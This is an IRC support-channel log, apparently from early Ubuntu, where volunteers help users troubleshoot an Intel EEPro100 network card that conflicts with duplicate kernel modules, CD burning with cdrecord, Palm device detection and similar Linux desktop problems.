[12:00] <StValentin> it worked under windows 2000, win Xp and BeOS
[12:00] <StValentin> is there a way to reinstall the drivers or so?
[12:01] <HrdwrBoB> StValentin: can you paste the outptu of lsmod into #flood ?
[12:01] <StValentin> lsmod?
[12:01] <HrdwrBoB> run a terminal
[12:01] <StValentin> a..a command
[12:01] <HrdwrBoB> and just run 'lsmod'
[12:02] <StValentin> yea the problem is that it's on the laptop and there is no way I can copy paste on this computer
[12:02] <HrdwrBoB> ok
[12:02] <HrdwrBoB> well run lsmod
[12:02] <chibifs> o_o
[12:02] <HrdwrBoB> and tell me if eepro100 or e100 is there
[12:02] <HrdwrBoB> if it's there, the driver is loaded and it just needs to be configured
[12:02] <captine> if you type 'sleep 10s' in your bash scripts, does the script wait to seconds or some other time measurement
[12:02] <StValentin> yep
[12:03] <HrdwrBoB> captine: 9-10 seconds
[12:03] <StValentin> it says mii 4864 2 eepro100,e100
[12:03] <HrdwrBoB> ok cool
[12:03] <jps> what does this mean: "the extra buttons are recognized (verified with printk()s)"
[12:03] <HrdwrBoB> computer-> system configuration-> networking
[12:03] <StValentin> why can't I ping some other computers than`?
[12:03] <StValentin> I tryed
[12:03] <HrdwrBoB> jps: dmesg will tell you
[12:03] <captine> shot HrdwrBoB
[12:04] <StValentin> this XP is configured to share the internet connection
[12:04] <StValentin> so it's also a DHCP server
[12:04] <jps> HrdwrBoB: i don't understand what you mean by that answer
[12:04] <HrdwrBoB> ok, so you've set ubuntu to use dhcp (which is the default)
[12:04] <StValentin> and it should get the IP from it..but it doesn't work
[12:04] <HrdwrBoB> jps: run 'dmesg' in a terminal
[12:04] <StValentin> I tryed seting an IP manualy
[12:04] <jps> HrdwrBoB: and then?
[12:04] <StValentin> but I can't ping the other computer
[12:04] <StValentin> ifconfig
[12:05] <StValentin> sry..wrong keyboard
[12:05] <HrdwrBoB> jps: that will give you the ouptut of the 'printk' stuff, telling you about the extra buttons
[12:05] <StValentin> whyt should I try than?
[12:05] <HrdwrBoB> StValentin: well, I assume you've checked the physical link
[12:05] <HrdwrBoB> and it's on
[12:06] <StValentin> yes..
[12:06] <StValentin> I tryed 2 cables
[12:06] <jps> HrdwrBoB: i see. unfortunately i don't have the extra buttons he speaks of being detected :(
[12:06] <HrdwrBoB> set the interface to DHCP
[12:06] <HrdwrBoB> and then run /etc/init.d/networking restart
[12:06] <StValentin> how do I set it to shcp? from system config or with ifconfig?
[12:06] <HrdwrBoB> from system config
[12:07] <HrdwrBoB> just go properties
[12:07] <HrdwrBoB> and then set it to automatic (DHCP)
[12:07] <StValentin> ok..I did
[12:07] <StValentin> now it tryes to save the settings or something
[12:07] <HrdwrBoB> yep
[12:09] <HrdwrBoB> and you ran networking restart?
[12:09] <StValentin> it says : reconfiguring network interfaces
[12:09] <Acridien> HrdwrBoB: I have set a static ip in my LAN box and router/modem cable
[12:09] <HrdwrBoB> yep
[12:09] <StValentin> since 2 minutes allready
[12:09] <HrdwrBoB> StValentin: and it hasn't returned yet?
[12:09] <StValentin> ok..it did it
[12:09] <HrdwrBoB> ok
[12:09] <StValentin> let me ping again
[12:10] <HrdwrBoB> what does ifconfig say
[12:10] <Acridien> HrdwrBoB: would you advise me to set DHCP ?
[12:10] <StValentin> nothing
[12:10] <Acridien> HrdwrBoB: i have only one pc
[12:10] <HrdwrBoB> Acridien: with one PC, you don't need DHCP :)
[12:10] <StValentin> no IP..nothing..he found no DHCP server
[12:10] <HrdwrBoB> Acridien: if you run a network, DHCP  is very handy
[12:10] <Acridien> HrdwrBoB: oki i was wondering tx
[12:11] <HrdwrBoB> StValentin: ok, if you run ifconfig -a , how many network cards are there
[12:11] <StValentin> I never had problems under other OSes..not even under BeOs..I should maybe boot in windows 2000 and try it there..
[12:11] <strestout1> hello
[12:11] <StValentin> I see 3
[12:11] <StValentin> eth0
[12:11] <StValentin> lo
[12:11] <StValentin> sit0
[12:15] <StValentin> any advices why it doesn't work?
[12:15] <Matt|> so i was thinking of attempting to compile some xorg packages for myself. But this is my second week using a debian based OS. Is compiling easy? How can I do it? is there a good guide?
[12:16] <HrdwrBoB> StValentin: so you have both eepro100 and e100 loaded?
[12:16] <StValentin> I booted in windows 2000 with same card and cable and it works
[12:16] <HrdwrBoB> Matt|: don't do it, wait for it to be released in hoary
[12:16] <StValentin> now I am booting again
[12:16] <StValentin> in linux
[12:16] <Matt|> HrdwrBoB, i am not using Hoary. Plus it will be broken :0
[12:17] <HrdwrBoB> no, not yet
[12:17] <HrdwrBoB> you will have to wait :)
[12:17] <StValentin> me?
[12:17] <HrdwrBoB> I assure you, if you install it yourself it will be broken :)
[12:17] <StValentin> ok...
[12:17] <HrdwrBoB> StValentin: just check what modules you have loaded
[12:17] <HrdwrBoB> and tell me anything with '100' in it
[12:17] <Matt|> HrdwrBoB, now thats just not very trusing ;P
[12:19] <HrdwrBoB> Matt|: I'm a realist :)
[12:19] <Matt|> HrdwrBoB, grrrr damn realists
[12:19] <HrdwrBoB> Matt|: compiling X is like stabbing yourself in the face
[12:19] <HrdwrBoB> only less fun
[12:19] <SoNiCfReAk> how do I get the trash applet on the desktop in Gnome?
[12:19] <Matt|> HrdwrBoB, nice image
[12:19] <StValentin> this laptop has also a wiFi lan card I think
[12:19] <StValentin> can this be the problem?`
[12:20] <Matt|> HrdwrBoB, i have done it before and it went _ok_
[12:20] <Matt|> except for some problems with fonts
[12:20] <StValentin> I receive when booting some strange error messages
[12:20] <Matt|> StValentin, you are trying to get the wifi card working?
[12:20] <HrdwrBoB> StValentin: what messages?
[12:20] <StValentin> mofprobe: FATAL: error insertin pciehp: Operation not permitted
[12:20] <Matt|> hmm
[12:21] <Matt|> cool
[12:21] <HrdwrBoB> StValentin: that's normal
[12:21] <StValentin> modprobe: FATAL: Error inserting shpchp: Operation not permitted
[12:21] <SoNiCfReAk> does anybody have x.org working yet?
[12:21] <StValentin> ok
[12:21] <Matt|> SoNiCfReAk, yes i think some do
[12:22] <StValentin> no..I don't want the wifi card to work..just the normal lan card
[12:22] <SoNiCfReAk> is up on hoary yet?
[12:22] <SoNiCfReAk> it*
[12:22] <Matt|> SoNiCfReAk, nope
[12:22] <jdub> SoNiCfReAk: no
[12:22] <StValentin> the wifi card is disabled..there is a button that I can use to shut it down
[12:22] <SoNiCfReAk> kk
[12:22] <SoNiCfReAk> how do I get the trash applet on the desktop in Gnome?
[12:22] <Matt|> LOL
[12:22] <Matt|> SoNiCfReAk, was there by default on my install
[12:22] <jdub> SoNiCfReAk: you can't get the 'applet' on the desktop, applets are panel things
[12:22] <SoNiCfReAk> oh
[12:22] <SoNiCfReAk> well the icon
[12:23] <jdub> SoNiCfReAk: you can get a trash icon on the desktop though, see /apps/nautilus/general
[12:23] <jdub> however
[12:23] <jdub> i'd recommend sticking with the default for a while
[12:23] <SoNiCfReAk> k
[12:23] <jdub> it's way more useful
[12:23] <Matt|> SoNiCfReAk, having the trash icon on the panel is quite nice i think
[12:23] <StValentin> siemens
[12:23] <Matt|> hi jdub
[12:23] <SoNiCfReAk> im in XFCE
[12:23] <Matt|> StValentin, what is ifconfig eth0?
[12:23] <StValentin> sry..wrong keyoard again
[12:24] <SoNiCfReAk> and I want it on my XFCE desktop
[12:24] <SoNiCfReAk> using nautilus
[12:24] <Matt|> hmm
[12:24] <StValentin> it says nothing
[12:24] <StValentin> no IP address
[12:24] <Matt|> as per what jdub said ^^
[12:24] <will_> anyone like ICE desktop
[12:24] <Matt|> StValentin, you have output?
[12:24] <Matt|> will_, yep memememememe
[12:24] <StValentin> on screen yea..
[12:24] <will_> ICEWM
[12:24] <StValentin> if this is what you mean
[12:24] <Matt|> StValentin, light is on?
[12:24] <SoNiCfReAk> there I got
[12:24] <SoNiCfReAk> it
[12:25] <StValentin> network card has no light
[12:25] <Matt|> ok
[12:25] <StValentin> but in the hub it is
[12:25] <will_> matt u like ICEWM
[12:25] <Matt|> will_, you betcha
[12:25] <StValentin> and I just booted in windows 2000 and it worked
[12:25] <StValentin> on same laptop with same card and cablr
[12:25] <Matt|> StValentin, probably the module is not loaded
[12:25] <StValentin> cable
[12:25] <StValentin> how can I check the module?
[12:25] <will_> Matt do you know how to change screen res in it
[12:26] <Matt|> will_, you can change your xf86config maybe?
[12:26] <SoNiCfReAk> how do I set apps to start with XFCE 4.2 beta 2?  It doesn't load /~.xinitrc
[12:26] <SoNiCfReAk> ?
[12:26] <Matt|> StValentin, what card?
[12:26] <mike> Are there packages for KDE 3.3 anywhere?
[12:26] <StValentin> intel eepro 100
[12:27] <Matt|> so we're thinking maybe the module is pciehp?
[12:27] <Matt|> lemme have a look on the web
[12:27] <StValentin> no
[12:27] <StValentin> is I run lsmod
[12:27] <HrdwrBoB> StValentin: what does dmesg| grep -2 eth0 say
[12:27] <mbp_> jdub?
[12:27] <StValentin> I see in the list
[12:28] <StValentin> mii 4864 2 eepro100,e100
[12:28] <jdub> mbp_: hey hey!
[12:28] <mbp_> ho ho!
[12:28] <jdub> mbp_: that's what my mum said. :|
[12:28] <stuNNed_> lol
[12:28] <mbp_> sorry dude :)
[12:28] <jdub> ;)
[12:28] <StValentin> it says a lot
[12:28] <SoNiCfReAk> has anybody out there compiled x.org 6.8.1 from CVS
[12:29] <SoNiCfReAk> I need a little help
[12:29] <StValentin> e100 Intel corporation
[12:29] <SoNiCfReAk> ?
[12:29] <HrdwrBoB> StValentin: ok, try rmmod eepro100
[12:29] <Matt|> StValentin, you see a line beginning with eepro100?
[12:29] <HrdwrBoB> well, sudo rmmod eepro100
[12:30] <StValentin> e100: eth0: 100_probe: addr 0xf7dff000, irq 11
[12:30] <StValentin> yes
[12:30] <StValentin> eepro.c: v1.09j-t
[12:30] <HrdwrBoB> it looks like you have two drivers loaded for one card
[12:30] <StValentin> eepro100.c sry
[12:30] <StValentin> I see 2 lines actualy
[12:31] <StValentin> and another line eepro100.c $Revision 1.36
[12:31] <StValentin> how can I remove one?
[12:32] <HrdwrBoB> StValentin: sudo rmmod eepro100
[12:32] <HrdwrBoB> after that, do a dmesg|grep e100_watchdog
[12:32] <HrdwrBoB> it should tell you that the link is up and the speed
[12:32] <StValentin> ok
[12:32] <StValentin> it does
[12:33] <HrdwrBoB> ok
[12:33] <StValentin> what now?
[12:33] <HrdwrBoB> now run /etc/init.d/networking restart
[12:33] <StValentin> restart networking?
[12:33] <StValentin> ok
[12:34] <StValentin> after next reboot must do this again?
[12:34] <HrdwrBoB> we'll just try and get it working at all first :)
[12:34] <StValentin> ok..s
[12:34] <StValentin> sry
[12:35] <StValentin> it didin't worked
[12:35] <HrdwrBoB> once it's working, then we can make sure it'll work on reboot
[12:35] <StValentin> should I try set it up manualy?
[12:35] <|trey|> Any reason why the Gaim text format bar is dulled out?
[12:35] <StValentin> any ideas?
[12:36] <WW> What is the correct way to burn an ISO with cdrecord?   I tried: cdrecord /dev/hdd file.iso
[12:36] <HrdwrBoB> WW: just right click on it
[12:36] <mbp_> heh
[12:36] <HrdwrBoB> and select burn to CD
[12:36] <mbp_> WW: using gnome is much easier
[12:37] <mbp_> do you really need to use the commandline?
[12:37] <StValentin> now the lsmod shows me no eepro in list anymore
[12:37] <HrdwrBoB> StValentin: that's right it shouldn't
[12:37] <WW> HrdwrBoB: Right, but I want to try it with cdrecord.  I filed a bug about nautilus, and I want to compare the results of the two methods.
[12:37] <HrdwrBoB> so in network settings
[12:37] <HrdwrBoB> WW: cdrecord dev=/dev/hdd speed=foo -eject -v foo.iso
[12:37] <mbp_> WW; you need to determine the pseudoscsi address of your recorder, then
[12:37] <HrdwrBoB> mbp_: nah you can fudge it
[12:38] <stuNNed_> what gstreamer plugin do i need to play mp3's in rhythmbox?
[12:38] <HrdwrBoB> stuNNed_: gstreamer-mad
[12:38] <stuNNed_> HrdwrBoB, danke
[12:38] <WW> The simple command "cdrecord /dev/hdd file.sio" printed this (after some initial text):
[12:38] <StValentin> should I go in network settings?
[12:38] <HrdwrBoB> StValentin: can you confirm the network settings
[12:39] <WW> scsidev: '1,5,0'
[12:39] <WW> scsibus: 1 target: 5 lun: 0
[12:39] <WW> cdrecord: No such file or directory. Cannot open '/dev/sg*'. Cannot open SCSI driver.
[12:39] <StValentin> I still see it there
[12:39] <StValentin> and in properties it says automatic FHCP
[12:39] <HrdwrBoB> WW:I just told you the commmand to run
[12:39] <StValentin> should I try to activate it?
[12:39] <WW> HrdwrBoB: Yup, I haven't tried it yet.
[12:39] <HrdwrBoB> StValentin: yes
[12:40] <HrdwrBoB> .. you mean it wasn't active?
[12:40] <HrdwrBoB> argh
[12:40] <WW> HrdwrBoB: I'm not sure what to use for "foo" in your command.
[12:40] <chz> does anybody know how to create an iso from a directory..??
[12:40] <StValentin> now it wasn't coze when I try to it deactivates itself
[12:40] <HrdwrBoB> WW: in speed?
[12:40] <HrdwrBoB> it's the speed of the burner
[12:41] <chz> i tried mkisofs....but then it just printed in garbage..
[12:41] <StValentin> if I set it up manualy with an IP address I can activate it
[12:41] <StValentin> but still no ping
[12:41] <WW> HrdwrBoB: Right, the speed.
[12:41] <Matt|> i tell you what. I've been able to recommend ubuntu to my friends who don't know anything about linux and have the confidence that things will work, and that they will be well supported in here if there are any problems. Not only that, but it looks good and works really well. Thanks ubuntu developers!!
[12:41] <StValentin> but still no ping
[12:42] <StValentin> I can not activate it
[12:42] <StValentin> with DHCP seted in properties
[12:42] <StValentin> I tryed and now I see in lsmod list a module e100
[12:42] <HrdwrBoB> WW:what's the bug in nautilus
[12:43] <SoNiCfReAk> has anybody out there compiled x.org 6.8.1 from CVS?
[12:43] <HrdwrBoB> SoNiCfReAk: no, and we don't recommend you do
[12:43] <Matt|> heh i know some people have
[12:43] <HrdwrBoB> you're welcome to do it
[12:43] <tobi> does anyone know when hoary hedgehog will be released
[12:43] <SoNiCfReAk> why bob?
[12:43] <Matt|> tobi,  april
[12:43] <HrdwrBoB> tobi: in about 6 months
[12:43] <tobi> oh
[12:43] <HrdwrBoB> SoNiCfReAk: because it's a huge waste of time :)
[12:44] <SoNiCfReAk> why?
[12:44] <Matt|> waste of time?
[12:44] <StValentin> ok guys..thx for help but I think I convinced myself how easy is to use this linux
[12:44] <tobi> thanks
[12:44] <StValentin> I will wait another year and try again
[12:44] <SoNiCfReAk> bob?
[12:44] <StValentin> bye
[12:44] <Matt|> StValentin, i think you have a difficult network card :(
[12:44] <Matt|> sorry that you've had this failure: try some websites!
[12:44] <StValentin> I have an Intel EEPRO 100!! under BeOS is working greate
[12:44] <StValentin> same under Windows XP
[12:44] <StValentin> and windows 2000
[12:44] <Matt|> StValentin, yes i know
[12:45] <WW> HrdwrBoB: OK, it has started burning.  I guess the speed argument is _not_ an option?  The man page makes it sound like it should try to figure it out.
[12:45] <Matt|> StValentin, don't give up!
[12:45] <baluba> hi again
[12:45] <HrdwrBoB> WW: it defaults to 1, or at least it used to
[12:45] <WW> HrdwrBoB: I mean, the speed argument is _not_ optional.
[12:45] <HrdwrBoB> yeah
[12:45] <StValentin> I won't I'll just try in a few months..maybe gets beter all this linux stuff
[12:45] <mdz> StValentin: known bug, easy workaround, fixed in Hoary
[12:45] <LinuxJones> StValentin, do you use dhcp to get on your network ?
[12:45] <StValentin> yes
[12:46] <SoNiCfReAk> why is getting x.org working a waste of time HrdwrBob?
[12:46] <HrdwrBoB> this is why using cdrecord on the command line is bad
[12:46] <LinuxJones> StValentin, is the module eepro100 loaded ?
[12:46] <Matt|> mdz, give him the workaround!!
[12:46] <HrdwrBoB> SoNiCfReAk: 'getting x.org' is not a waste of time
[12:46] <StValentin> I have an XP machine with internet connection sharing enabled
[12:46] <StValentin> what means loaded?
[12:46] <HrdwrBoB> SoNiCfReAk: compiling x.org from source is a waste of time
[12:46] <StValentin> I see in lsmod list a line like:
[12:46] <SoNiCfReAk> why?
[12:46] <LinuxJones> mdz, yas a fix for you
[12:46] <LinuxJones> mdz, er has
[12:46] <Matt|> HrdwrBoB, you haven't said why it is a waste of time
[12:46] <HrdwrBoB> a) it will be all over the place, and unpackaged
[12:47] <StValentin> mii 4864 1 e100
[12:47] <baluba> ubuntu is not by default in utf-8, isn't that?
[12:47] <Matt|> HrdwrBoB, i can understand the argument that it might be difficult, but not a waste of time
[12:47] <Matt|> baluba, correct
[12:47] <HrdwrBoB> b) it will be out in a nice packaged form in the reasonably near future
[12:47] <SoNiCfReAk> how near?
[12:47] <SoNiCfReAk> like 6 months?
[12:47] <mdz> if anyone had searched bugzilla for a few of the keywords in this conversation...
[12:47] <HrdwrBoB> c) it's doubtful that you really need these features
[12:47] <baluba> Matt|, wouldn't it better to make it default?
[12:47] <thoreauputic> StValentin: there are two possible modules, apparently: e100 and eepro100
[12:47] <mdz> https://bugzilla.ubuntu.com/show_bug.cgi?id=2156
[12:47] <StValentin> ok
[12:47] <Matt|> baluba, maybe. I don't know much about that. the next release is utf-8 default
[12:48] <StValentin> I should now unload this one and load the other one right?
[12:48] <StValentin> how do I do that?
[12:48] <mdz> StValentin: open that URL and read it
[12:48] <Scognito> hoary maybe will be utf-8 by default
[12:48] <StValentin> rmmod e100?
[12:48] <baluba> Matt|, ok, right choice
[12:48] <HrdwrBoB> mdz: and we went through and worked out that eepro100 was excessive
[12:48] <HrdwrBoB> however his network still isn't working
[12:48] <thoreauputic> StValentin: rmmod <modeule>  modprobe <othermodule>
[12:49] <StValentin> that didn't help
[12:49] <StValentin> I did it before
[12:50] <baluba> Scognito, i hope so. it's about time Os adopt it
[12:50] <WW> HrdwrBoB: Thanks, the cdrecord command worked.  However, when I try to find the md5sum of the disk, I get an Input/output error.  That's what happens when I burn a CD with Nautilus, too, and that's the bug that I filed.
[12:51] <LinuxJones> StValentin, did you restart networking after removing the wrong module ?
[12:51] <StValentin> yes
[12:51] <WW> HrdwrBoB: If I used k3b to burn a CD, the command "md5sum /dev/hdd" gives me the same result as the md5sum of the original file.
[12:51] <LinuxJones> StValentin, and the correct one is loaded ?
[12:51] <StValentin> which one is correct one?
[12:51] <StValentin> e100?
[12:51] <StValentin> or eepro100?
[12:51] <mdz> StValentin: e100
[12:52] <StValentin> yes it was
[12:52] <LinuxJones> StValentin, according to bugzilla e100
[12:52] <mdz> StValentin: follow the instructions in the bug and reboot
[12:52] <baluba> WW, i'd check your HD then :)
[12:52] <StValentin> i did
[12:52] <StValentin> it doesn't work
[12:52] <WW> baluba: But what should I check?  k3b works fine.
[12:52] <StValentin> baluba..are ya romanian?
[12:52] <HrdwrBoB> 10:32 < HrdwrBoB> StValentin: sudo rmmod eepro100
[12:53] <mdz> StValentin: you added eepro100 to /etc/hotplug/blacklist?
[12:53] <StValentin> now..that not
[12:53] <LinuxJones> lol
[12:53] <StValentin> but should work without that to first right?
[12:53] <captine> how does one format a cd-rw.  I use XCDRoast to burn, and there are no format options?
[12:54] <baluba> StValentin, what's a romanian?
[12:54] <thoreauputic> StValentin: if you don't use blacklist,, it won't work
[12:54] <StValentin> it a man that comes from Romania..da...where are ya from moon?
[12:54] <Scognito> 'nite
[12:54] <StValentin> ok..I'll try that too
[12:54] <mjr> captine, hm, it's a xcdroast bug if it really doesn't, but you can do it from the command line with cdrecord blank=fast
[12:55] <baluba> WW, I/O errors are a signal of err I/O errors, i'd check your block device if it's really so
[12:55] <Matt|> captine, there is an option
[12:55] <Matt|> captine, which screen do you use to burN? the master screen?
[12:55] <WW> baluba: OK!                                                               How do I check my block device?
[12:55] <baluba> StValentin, Italy
[12:56] <baluba> WW, can you paste the output of md5sum?
[12:56] <StValentin> baluba means something funny in romanian language..that is why I asked
[12:56] <WW> baluba: Sure thing:
[12:56] <WW> error processing /dev/hdd: failed in buffer_read(fd): mdfile: Input/output error
[12:56] <captine> Matt| i just installed XCDRoast 2nite.  Just had a brief look at it, so i couldn't say
[12:57] <baluba> StValentin, what? :)
[12:57] <captine> mjr thanks.  Will try from command line
[12:57] <Matt|> ok if you are using the Master screen, over on one of the right hand tabs, there is a "blank cd" option
[12:57] <baluba> WW, is that the cdrom?
[12:57] <captine> do you all emulate scsi on ur IDE cd-writers?
[12:57] <WW> baluba: yes
[12:57] <HrdwrBoB> captine: no
[12:57] <Matt|> captine, no
[12:58] <baluba> WW, never mind then, i thought you have I/O errors on the iso
[12:58] <captine> shot Matt| Isn't it better to emulate scsi??
[12:58] <HrdwrBoB> captine: no, there's no need
[12:58] <Matt|> captine, doesn't make a big difference
[12:58] <Matt|> captine, marginal
[12:58] <thoreauputic> captine: deprecate in 2.6.* kernels
[12:59] <thoreauputic> *deprecated
[12:59] <StValentin> sdf
[12:59] <StValentin> baluba.. it means dick ...
[12:59] <StValentin> in romanian I mean
[12:59] <Matt|> lol
[12:59] <mdz> StValentin: that's what the bug tells you to do (edit the blacklist), and you said that you followed the instructions there
[01:00] <baluba> StValentin, well better to know the not
[01:00] <baluba> than
[01:00] <StValentin> no somone told me what to do..
[01:00] <StValentin> I thought that that is so that after reboot won't heapend again
[01:00] <Matt|> baluba, don't use that name if you go to romania
[01:00] <captine> Must say, i'm still running slack 10 with 2.4 kernel (still waiting for ubuntu cd's to arrive)
[01:00] <HrdwrBoB> mdz: the bug doesn't infact say how to do that, all that's mentioned of the blacklist is at the end where you posted your changelog
[01:00] <StValentin> I did it..
[01:00] <HrdwrBoB> the bug says 'I ran rmmod eepro100 and it worked'
[01:00] <StValentin> no success
[01:01] <baluba> Matt|, luckly just a nick :)
[01:01] <Matt|> baluba, would be a strange name if real :p
[01:01] <StValentin> I will try to reboot
[01:01] <StValentin> maybe
[01:01] <mdz> HrdwrBoB: I added an explicit note to the end of the bug when I pasted the URL
[01:02] <StValentin> last try...if it dowsn't work than I will just go bac to BeOS for another 6 months and try again..
[01:02] <StValentin> coze this is my 4th distro and only problems
[01:02] <Matt|> i have an interesting thing. When I start mplayer and play some audio, i get flashing messages and I have to edit the OSS settings from /dev/mixer to /dev/.mixer
[01:03] <HrdwrBoB> mdz: so you did, I see it now
[01:04] <StValentin> ok... doesn't  and I did that change
[01:04] <StValentin> doesn't work I mean
[01:04] <StValentin> I go to sleep now..
[01:04] <WW> After running md5sum /dev/cdrom, there are errors reported in /var/log/messages
[01:05] <WW> Roughly the same three lines repeated many times.
[01:05] <lonytynch> hey guys when are the CDs planned to ship?
[01:05] <StValentin> and I am a computer programer..lol..and people say Linux is ready for newbees..lol..yea sure
[01:05] <WW> Nov  2 19:03:03 localhost kernel: hdd: command error: status=0x51 { DriveReady SeekComplete Error }
[01:05] <eruditus> Help - I have a palm pilot that's being detected by the device manager but not by any of the palm pilot apps (Gnome-pilot, jpilot, kpilot). What do I do?
[01:05] <HrdwrBoB> StValentin: there is something odd with your setup, everthing is configured correctly and it should work
[01:06] <StValentin> the problem that this is allways the case with linux..maybe if you know it it's not..but for me the whole stuff is a mistery
[01:06] <captine> i am downloading at 500 bytes per second.  I hate ZA
[01:07] <HrdwrBoB> StValentin: I've installed ubuntu on about 10 entirely different computers and not once have I had a problem which required extensive knowledge to fix
[01:07] <eruditus> Anyone - Help!!!
[01:07] <HrdwrBoB> your problem is possible related to windows on the other end, or some other bizarre hardware problem
[01:07] <HrdwrBoB> or a configuration you've changed that I can't see or tell from here
[01:07] <thoreauputic> StValentin: funny, lots of people have no problems... Your hardware/ setup is not typical
[01:08] <eruditus> Anyone?
[01:08] <StValentin> how is not typical?
[01:08] <HrdwrBoB> StValentin: it's not typical in that it doesn't work :)
[01:08] <StValentin> <I have intel eepro 100 on 3 different computers
[01:08] <StValentin> ah...ok
[01:08] <thoreauputic> StValentin: I just mean most people don't have major problems
[01:08] <HrdwrBoB> StValentin: I was using an eepro100 laptop last night with ubuntu
[01:08] <eruditus> problem with my Palm - anyone willing to help ???????????????????????'
[01:09] <HrdwrBoB> eruditus: how is it not detected?
[01:09] <StValentin> I tryed Fedora, Mandrake and Suse..only problems
[01:09] <WW> Any ideas what the error  "... hdd: command error: status=0x51 ..." means?
[01:09] <WW> (in /var/log/messages)
[01:09] <HrdwrBoB> WW: I think it's trying to read beyond the end of the device
[01:09] <thoreauputic> StValentin: does it work with Knoppix?
[01:09] <StValentin> never tryed it
[01:09] <HrdwrBoB> WW: if you ran cat /dec/hdd > file.iso
[01:09] <Matt|> ok Problem: i have grip installed. I just installed lame (after grip) and now i get an error when trying to encode using lame (invalid executable); how can i fix this???
[01:09] <HrdwrBoB> it would likely match
[01:09] <thoreauputic> StValentin: Knoppix has a great reputation for finding hardware etc
[01:10] <HrdwrBoB> possibly k3b puts an EOF marker after the ISO or somesuch
[01:10] <StValentin> I also tryed gentoo but with that I wasn't even able to boot..
[01:10] <Matt|> lol
[01:10] <eruditus> HrdwrBoB, it _is_ detected by the hardware manager, but not by any of the pilot programs.
[01:10] <eruditus> HrdwrBoB, I can't figure out, from this, what /dev/ it's on...
[01:11] <captine> thanks for the help.  Goodnite
[01:11] <WW> HrdwrBoB: I'll try that.  I have tried "dd if=/dev/cdrom of=copy.iso", but that also gives an Input/output error.
[01:11] <HrdwrBoB> eruditus: are you following any sort of guide or how to?
[01:11] <erik> hey, is there any way to install from the livecd?
[01:11] <StValentin> by all..thx anyhow
[01:11] <HrdwrBoB> WW: yes, but after it gives that, it's finished
[01:11] <HrdwrBoB> WW: that's normal
[01:11] <eruditus> HrdwrBoB, I wouldn't know where to find one...
[01:11] <HrdwrBoB> WW: isosize /dev/hdd will give you the size, and you can feed that to dd if you like
[01:11] <WW> HrdwrBoB: Hmmm... error messages are not normal.
[01:18] <eruditus> HrdwrBoB, I can give you the info from the device manager...
[01:18] <HrdwrBoB> WW: it is normal
[01:18] <WW> HrdwrBoB: OK, but it _shouldn't_ be normal.
[01:18] <HrdwrBoB> WW: well, it's simply trying to read from the device, and there's no end marker
[01:18] <HrdwrBoB> once it gets to the end
[01:18] <HrdwrBoB> it keeps trying to read
[01:18] <eruditus> HrdwrBoB, (not all of it, obviously... just tell me what you need.)
[01:18] <HrdwrBoB> and fails, hence, the error
[01:18] <HrdwrBoB> eruditus: there should be some doco for how to use gnome-ilot etc
[01:18] <WW> HrdwrBoB: So that is a bug in the cd writer, for not correctly marking the end?
[01:18] <HrdwrBoB> WW: it may be, I've never used k3b and I've always had that I/O error
[01:18] <HrdwrBoB> WW: or it may be nonstandard and k3b is making CDs that are not-standard but happen to work
[01:18] <WW> HrdwrBoB: I tried "cat /dev/cdrom > copy.iso", but that also gives the error, and the file copy.iso is not even the same size as the original.
[01:18] <eruditus> HrdwrBoB, I've been following the instructions, but they don't speak of anything similar... the help file is also fairly useless...
[01:18] <HrdwrBoB> eruditus: what palm is it?
[01:18] <HrdwrBoB> I presume it's a usb interface
[01:18] <HrdwrBoB> does it load an appropriate module when you plug it in?
[01:18] <HrdwrBoB> what does dmesg say
[01:18] <eruditus> HrdwrBoB, Tungsten E - seen as Tungsten T by the Device Manager
[01:18] <eruditus> HrdwrBoB, it is a usb interface. What's dmesg?
[01:18] <HrdwrBoB> eruditus: run 'dmesg' on a terminal and it gives you kernel messages
[01:18] <HrdwrBoB> what driver is loaded/loading etc etc
[01:18] <eruditus> HrdwrBoB, may I msg you a section of the results?
[01:18] <HrdwrBoB> paste it on #flood
[01:18] <eruditus> HrdwrBoB, ok.
[01:21] <WW> HrdwrBoB: Sorry to be a pest... I don't have the command "isosize".
[01:21] <HrdwrBoB> it's in sg-utils for some reason :)
[01:22] <HrdwrBoB> sudo apt-get install sg-utils
[01:23] <WW> HrdwrBoB: Ah, I see.  I just checked, and it looks like sg3-utils is actually the correct package.
[01:24] <HrdwrBoB> apt-cache is telling me lies!
[01:24] <WW> HrdwrBoB: Wait, maybe not.
[01:24] <WW> HrdwrBoB: I'm just reading the blurbs in Synaptic, and in fact isosize is in sg-utils. Sorry.
[01:27] <WW> HrdwrBoB: I just thought it strange to install the package that is for kernel 2.2 :)
[01:27] <|trey|> WW, 'blurbs in synaptic' = apt-cache show output ;)
[01:27] <HrdwrBoB> apt-cache search isosize gave me sg-utils
[01:27] <WW> It says sg3-utils is for kernel 2.4, but apparently isosize is not included with sg3-utils.
[01:30] <Se7h> ./setup.sh: line 88: /home/seth/.setup17633: Permission denied
[01:30] <Se7h> The setup program seems to have failed on x86/glibc-2.1
[01:30] <Se7h> is this a lack of a lib
[01:30] <Se7h> or just an error on the file ?
[01:30] <Matt|> ok Problem: i have grip installed. I just installed lame (after grip) and now i get an error when trying to encode using lame (invalid executable); how can i fix this???
[01:30] <mbp__> join #arch
[01:30] <mbp__> haha
[01:33] <Telep> Having nothing very interesting to do, I moved to Hoary...
[01:34] <lev> does anyone have a reccomendation for a PCI usb 2.0 adapter?
[01:34] <LarryDC33> Please forgive me if this is in bad form.
[01:34] <LarryDC33> Has anyone installed Ubuntu on a Fujitsu P1120?
[01:35] <HrdwrBoB> lev: I'm not sure it really matters
[01:35] <lev> HrdwrBoB: how so?
[01:35] <HrdwrBoB> lev: that's a monitor
[01:35] <HrdwrBoB> lev: I've never seen one that didn't work, and they're all cheap as chips
[01:35] <lev> HrdwrBoB: super.
[01:35] <lev> HrdwrBoB: what's the transfer rate? close to max?
[01:36] <HrdwrBoB> pretty much
[01:36] <HrdwrBoB> well I get ~4mb/s out of my stock standard via onboard thing
[01:36] <lev> i would've expected there'd be linux-specific problems...
[01:36] <HrdwrBoB> USB is a fairly standard standard
[01:36] <Se7h> can someone help me plz ?
[01:38] <lev> :-)
[01:38] <HrdwrBoB> Se7h: only if you tell us the problem
[01:38] <thoreauputic> Se7h: setup for what?
 ./setup.sh: line 88: /home/seth/.setup17633: Permission denied
 The setup program seems to have failed on x86/glibc-2.1
 is this a lack of a lib
 or just an error on the file ?
[01:38] <Se7h> there
[01:38] <Se7h> lol
[01:38] <Se7h> thoreauputic unreal tournament
[01:38] <thoreauputic> Se7h: what is the setup.sh script? Could be just about anything
[01:38] <thoreauputic> ah
[01:38] <thoreauputic> OK
